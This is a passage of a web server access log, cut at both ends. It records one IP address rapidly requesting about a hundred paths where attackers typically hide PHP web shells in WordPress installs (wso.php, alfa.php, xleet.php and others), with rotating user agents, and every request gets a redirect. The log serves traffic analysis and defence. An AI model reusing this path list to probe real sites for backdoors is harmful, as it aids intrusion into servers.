Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:15 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:16 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:16 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:16 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:12:17 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:17 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:18 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:18 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:12:19 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:19 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:12:19 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:12:20 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:20 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:21 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:21 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:21 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:23 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:23 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:12:23 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:24 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:24 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:25 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:12:25 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:26 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:26 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:12:26 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:27 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:27 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:12:28 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:28 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:29 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:29 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:29 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:30 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:30 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:31 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:31 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:12:31 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:32 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:32 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:33 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:12:33 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:34 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:34 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:34 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:35 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:35 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:36 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:36 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:37 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:12:37 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:38 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:38 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:38 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:39 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:12:39 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:40 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:12:40 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:40 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:41 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:12:41 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:42 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:42 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:43 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:43 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:12:43 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:44 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:44 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:45 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:45 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:46 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:46 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:47 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:47 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:47 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:48 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:48 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:49 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:49 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:49 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:50 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:50 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:12:51 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:51 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:52 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:52 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:52 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:12:53 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:53 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:54 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:12:54 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:55 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:55 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:55 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:56 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:56 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:12:57 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:12:57 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:57 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:12:58 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:12:58 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:12:59 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:12:59 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:00 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:00 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:00 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:01 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:13:02 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:02 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:13:02 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - 